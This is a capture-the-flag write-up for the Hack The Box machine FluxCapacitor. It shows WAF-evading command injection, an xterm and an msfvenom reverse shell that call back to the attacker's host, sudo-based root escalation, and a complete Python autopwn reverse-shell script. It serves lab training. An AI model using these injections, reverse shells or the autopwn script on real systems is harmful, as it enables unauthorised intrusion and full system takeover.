FluxCapacitor write-up by Alamot

Enumeration

Port scanning

Let’s scan the full range of TCP ports using my tool htbscan.py (you can find it here: code-snippets/htbscan.py at master · Alamot/code-snippets · GitHub).

$ sudo htbscan.py 10.10.10.69 500

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.69

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-05-11 21:23:48 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.69                                     
                                                                             
Running command: sudo nmap -A -p80 10.10.10.69

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-12 00:27 EEST
Nmap scan report for node1.fluxcapacitor.htb (10.10.10.69)
Host is up (0.100s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    SuperWAF
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Fri, 11 May 2018 21:28:20 GMT
|     Content-Type: text/html
|     Content-Length: 175
|     Connection: close
|     <html>
|     <head><title>404 Not Found</title></head>
|     <body bgcolor="white">
|     <center><h1>404 Not Found</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Fri, 11 May 2018 21:28:19 GMT
|     Content-Type: text/html
|     Content-Length: 395
|     Last-Modified: Tue, 05 Dec 2017 16:02:29 GMT
|     Connection: close
|     ETag: "5a26c315-18b"
|     Server: SuperWAF
|     Accept-Ranges: bytes
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Keep Alive</title>
|     </head>
|     <body>
|     node1 alive
|     <!--
|     Please, add timestamp with something like:
|     <script> $.ajax({ type: "GET", url: '/sync' }); </script>
|     <hr/>
|     FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
|     <em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 405 Not Allowed
|     Date: Fri, 11 May 2018 21:28:19 GMT
|     Content-Type: text/html
|     Content-Length: 179
|     Connection: close
|     <html>
|     <head><title>405 Not Allowed</title></head>
|     <body bgcolor="white">
|     <center><h1>405 Not Allowed</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   RTSPRequest: 
|     <html>
|     <head><title>400 Bad Request</title></head>
|     <body bgcolor="white">
|     <center><h1>400 Bad Request</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   X11Probe: 
|     HTTP/1.1 400 Bad Request
|     Date: Fri, 11 May 2018 21:28:20 GMT
|     Content-Type: text/html
|     Content-Length: 179
|     Connection: close
|     <html>
|     <head><title>400 Bad Request</title></head>
|     <body bgcolor="white">
|     <center><h1>400 Bad Request</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|_    </html>
|_http-server-header: SuperWAF
|_http-title: Keep Alive
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.70%I=7%D=5/12%Time=5AF60AE7%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,270,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2011\x20May\x20201
SF:8\x2021:28:19\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Length:\x
SF:20395\r\nLast-Modified:\x20Tue,\x2005\x20Dec\x202017\x2016:02:29\x20GMT
SF:\r\nConnection:\x20close\r\nETag:\x20\"5a26c315-18b\"\r\nServer:\x20Sup
SF:erWAF\r\nAccept-Ranges:\x20bytes\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<he
SF:ad>\n<title>Keep\x20Alive</title>\n</head>\n<body>\n\tOK:\x20node1\x20a
SF:live\n\t<!--\n\t\tPlease,\x20add\x20timestamp\x20with\x20something\x20l
SF:ike:\n\t\t<script>\x20\$\.ajax\({\x20type:\x20\"GET\",\x20url:\x20'/syn
SF:c'\x20}\);\x20</script>\n\t-->\n\t<hr/>\n\tFluxCapacitor\x20Inc\.\x20in
SF:fo@fluxcapacitor\.htb\x20-\x20http://fluxcapacitor\.htb<br>\n\t<em><met
SF:><doc><brown>Roads\?\x20Where\x20we're\x20going,\x20we\x20don't\x20need
SF:\x20roads\.</brown></doc></met></em>\n</body>\n</html>\n")%r(HTTPOption
SF:s,135,"HTTP/1\.1\x20405\x20Not\x20Allowed\r\nDate:\x20Fri,\x2011\x20May
SF:\x202018\x2021:28:19\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Le
SF:ngth:\x20179\r\nConnection:\x20close\r\n\r\n<html>\r\n<head><title>405\
SF:x20Not\x20Allowed</title></head>\r\n<body\x20bgcolor=\"white\">\r\n<cen
SF:ter><h1>405\x20Not\x20Allowed</h1></center>\r\n<hr><center>openresty/1\
SF:.13\.6\.1</center>\r\n</body>\r\n</html>\r\n")%r(RTSPRequest,B3,"<html>
SF:\r\n<head><title>400\x20Bad\x20Request</title></head>\r\n<body\x20bgcol
SF:or=\"white\">\r\n<center><h1>400\x20Bad\x20Request</h1></center>\r\n<hr
SF:><center>openresty/1\.13\.6\.1</center>\r\n</body>\r\n</html>\r\n")%r(X
SF:11Probe,135,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Fri,\x2011\
SF:x20May\x202018\x2021:28:20\x20GMT\r\nContent-Type:\x20text/html\r\nCont
SF:ent-Length:\x20179\r\nConnection:\x20close\r\n\r\n<html>\r\n<head><titl
SF:e>400\x20Bad\x20Request</title></head>\r\n<body\x20bgcolor=\"white\">\r
SF:\n<center><h1>400\x20Bad\x20Request</h1></center>\r\n<hr><center>openre
SF:sty/1\.13\.6\.1</center>\r\n</body>\r\n</html>\r\n")%r(FourOhFourReques
SF:t,12F,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Fri,\x2011\x20May\x
SF:202018\x2021:28:20\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Leng
SF:th:\x20175\r\nConnection:\x20close\r\n\r\n<html>\r\n<head><title>404\x2
SF:0Not\x20Found</title></head>\r\n<body\x20bgcolor=\"white\">\r\n<center>
SF:<h1>404\x20Not\x20Found</h1></center>\r\n<hr><center>openresty/1\.13\.6
SF:\.1</center>\r\n</body>\r\n</html>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.12 (92%), Linux 3.13 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   102.73 ms 10.10.14.1
2   102.77 ms node1.fluxcapacitor.htb (10.10.10.69)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.90 seconds

Fuzzing /Sync

If we visit http://10.10.10.69/ and have a look in the source code, we see this:

...
	<script> $.ajax({ type: "GET", url: '/sync' }); </script>
...

Let’s check that url:

curl http://10.10.10.69/sync --verbose

*   Trying 10.10.10.69...
* TCP_NODELAY set
* Connected to 10.10.10.69 (10.10.10.69) port 80 (#0)
> GET /sync HTTP/1.1
> Host: 10.10.10.69
> User-Agent: curl/7.57.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 18 Dec 2017 07:25:54 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: SuperWAF
< 
20171218T08:25:54

Note that there is a filter that blocks some user agents. So if you have the word “Mozilla” or “Opera” in your user agent string you will get 403 forbidden. Here is the relevant rule from the /usr/local/ope\nresty/nginx/conf/nginx.conf file:

	SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

Now let’s fuzz /sync to see if we find anything interesting:

$ wfuzz --hh BBB -H "User-Agent:alamot" -c -z file,/usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt http://10.10.10.69/sync/?FUZZ{not_this}=test
********************************************************
* Wfuzz 2.1.5 - The Web Bruteforcer                      *
********************************************************

Target: http://10.10.10.69/sync/?FUZZ=test
Total requests: 2589

==================================================================
ID	Response   Lines      Word         Chars          Request    
==================================================================

00000:  C=200      2 L	       1 W	     19 Ch	  "not_this"
00705:  C=403      7 L	      10 W	    175 Ch	  "opt"

We used /sync/?FUZZ{not_this}=test and we hoped to get a different answer for some parameter. The {not_this} is something we know that it doesn’t exist and it help us to set the baseline. We are lucky because “test” is forbidden and we get a different answer when it is used in context with the parameter opt. Other value that would work is for example “date”. We will see that there is a filter that forbiddens all the words that there are inside the /usr/local/openresty/nginx/conf/unixcmd.txt file.

RCE

We can get RCE like this:

$ curl "http://10.10.10.69/sync?opt=' /usr/bin/whoami'"
nobody
bash: -c: option requires an argument

We can bypass some filtering using backslash escape \ or brace expansion []:

$ curl "http://10.10.10.69/sync?opt=' /usr/bin/whi[c]h mk\nod'"
/bin/mknod

Now, let’s examine a little more the point of injection using the command ps:

curl "http://10.10.10.69/sync?opt=' p\s aux'"
nobody   29849  0.0  0.0   4608   868 ?        S    17:19   0:00 sh -c CMD='/home/themiddle/checksync ' p\s aux''; bash -c ${CMD} 2>&1

We can get and examine some files like this:

curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/nginx.conf'" > nginx.conf
curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/unixcmd.txt'" > unixcmd.txt

If we look inside nginx.conf we see the filtering rules and the command injection point:

...
    modsecurity on;
        location /sync {
        default_type 'text/plain';

        modsecurity_rules '
        SecDefaultAction "phase:1,log,auditlog,deny,status:403"
        SecDefaultAction "phase:2,log,auditlog,deny,status:403"

        SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

        SecRuleEngine On
        SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
        SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"

        SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode,block"
        ';

        content_by_lua_block {
        local opt = 'date'
        if ngx.var.arg_opt then
            opt = ngx.var.arg_opt
        end

        -- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")

        local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
        local result = handle:read("*a")
        handle:close()
        ngx.say(result)
        }
...

Getting Xterm shell

Make sure your Xserver is listening to TCP:

$ netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::6000                 :::*                    LISTEN      -                   

New Xserver versions have tcp listening disabled by default. Consult your distro how to enable it. You may have to change your display manager settings or the xserverrc file, e.g.:

$ cat /etc/X11/xinit/xserverrc
#!/bin/sh
if [ -z "$XDG_VTNR" ]; then
  exec /usr/bin/X -listen tcp "$@"
else
  exec /usr/bin/X -listen tcp "$@" vt$XDG_VTNR
fi

Then all you have to do is to allow incoming connections from the specific IP:

$ xhost +10.10.10.69

Now let’s connect:

$ curl "http://10.10.10.69/sync?opt=' /usr/bin/xter\m -display 10.10.15.203:0'"

OR

$ curl "http://10.10.10.69/sync?opt=' DISPLAY=10.10.15.203:0 /usr/bin/xter\m'"

Getting a shell by uploading a linux elf

We can get a reverse shell this way too:

$ msfvenom -p linux/x86/shell_reverse_tcp  LHOST=10.10.15.15 LPORT=80 -f elf > /var/www/html/index.html
$ curl "http://10.10.10.69/sync?opt=' w\get 10.10.15.15 -P /tmp'
$ curl "http://10.10.10.69/sync?opt=' c\hmod +x /tmp/index.html'
$ curl "http://10.10.10.69/sync?opt=' /tmp/index.html'

Don’t forget to listen:

$ sudo nc -lvp 80
connect to [10.10.15.15 ] from (UNKNOWN) [10.10.15.15 ] 54678
...

Privilege escalation

Let’s examine if we have sudo:

$ curl "http://10.10.10.69/sync?opt=' sudo -l'"

Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit

Nice! Let’s check this .monit script:

root@fluxcapacitor:/home/themiddle# cat .monit
#!/bin/bash


if [ "$1" == "cmd" ]; then
    echo "Trying to execute ${2}"
    CMD=$(echo -n ${2} | base64 -d)
    bash -c "$CMD"
fi

All it needs is a base64-encoded command argument:

$ $ echo -ne cat /root/root.txt | base64
Y2F0IC9yb290L3Jvb3QudHh0

$ curl -s "http://fluxcapacitor.htb/sync?opt='\{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 \}'"
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0
bdc89b40eda244649072189a8438b30e

Autopwn script

Here is my autopwn script:

#!/usr/bin/env python2
import base64
import signal, thread
import requests, urllib
from pwn import *
signal.signal(signal.SIGINT, signal.SIG_DFL)

LHOST="10.10.14.43"
LPORT=60001
RHOST="10.10.10.69"
RPORT=80

PAYLOAD = "/usr/bin/python3 -c \"import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('"+str(LHOST)+"',"+str(LPORT)+"));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn(['/bin/bash','-i']);s.close();exit();\""

class NoEncodingSession(requests.Session):
    def send(self, *a, **kw):
        # a[0] is prepared request
        a[0].url = urllib.unquote(a[0].url)
        return requests.Session.send(self, *a, **kw)

def send_shell_payload():
    encoded_payload = "\\".join(base64.b64encode(PAYLOAD))
    log.info("http://"+str(RHOST)+":"+str(RPORT)+"/sync?opt=' sudo /home/themiddle/.monit cmd "+encoded_payload+"'")
    try:
        log.info("I am sending the encoded payload for you...")
        client = NoEncodingSession()
        client.keep_alive = False
        url = "http://"+str(RHOST)+":"+str(RPORT)+"/sync"
        response = client.get(url, params="opt=' sudo /home/themiddle/.monit cmd "+encoded_payload+"'")
        print("STATUS CODE: "+str(response.status_code))
        print(response.text)
    except requests.exceptions.RequestException as e:
        log.failure(str(e))
    finally:
        if client:
            client.close()

try:
    threading.Thread(target=send_shell_payload).start()
except Exception as e:
    log.error(str(e))
shell = listen(LPORT, timeout=10).wait_for_connection()
if shell.sock is None:
    log.failure("Connection timeout.")
    sys.exit()
shell.interactive()
sys.exit()

Let’s run it:

$ python2 autopwn_flux.py 
[*] http://10.10.10.69:80/sync?opt=' sudo /home/themiddle/.monit cmd L\3\V\z\c\i\9\i\a\W\4\v\c\H\l\0\a\G\9\u\M\y\A\t\Y\y\A\i\a\W\1\w\b\3\J\0\I\G\9\z\L\H\B\0\e\S\x\z\b\2\N\r\Z\X\Q\7\c\z\1\z\b\2\N\r\Z\X\Q\u\c\2\9\j\a\2\V\0\K\H\N\v\Y\2\t\l\d\C\5\B\R\l\9\J\T\k\V\U\L\H\N\v\Y\2\t\l\d\C\5\T\T\0\N\L\X\1\N\U\U\k\V\B\T\S\k\7\c\y\5\j\b\2\5\u\Z\W\N\0\K\C\g\n\M\T\A\u\M\T\A\u\M\T\Q\u\N\D\M\n\L\D\Y\w\M\D\A\x\K\S\k\7\b\3\M\u\Z\H\V\w\M\i\h\z\L\m\Z\p\b\G\V\u\b\y\g\p\L\D\A\p\O\2\9\z\L\m\R\1\c\D\I\o\c\y\5\m\a\W\x\l\b\m\8\o\K\S\w\x\K\T\t\v\c\y\5\k\d\X\A\y\K\H\M\u\Z\m\l\s\Z\W\5\v\K\C\k\s\M\i\k\7\b\3\M\u\c\H\V\0\Z\W\5\2\K\C\d\I\S\V\N\U\R\k\l\M\R\S\c\s\J\y\9\k\Z\X\Y\v\b\n\V\s\b\C\c\p\O\3\B\0\e\S\5\z\c\G\F\3\b\i\h\b\J\y\9\i\a\W\4\v\Y\m\F\z\a\C\c\s\J\y\1\p\J\1\0\p\O\3\M\u\Y\2\x\v\c\2\U\o\K\T\t\l\e\G\l\0\K\C\k\7\I\g\=\='
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[*] I am sending the encoded payload for you...
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.69 on port 49114
[*] Switching to interactive mode
root@fluxcapacitor:/# $ whoami
whoami
root
root@fluxcapacitor:/# $  

As you see I escape every single character in the base64-encoded command argument. I do this to avoid being blocked by some filtering rule that will match some random combination of letters. You can download the script here: code-snippets/autopwn_flux.py at master · Alamot/code-snippets · GitHub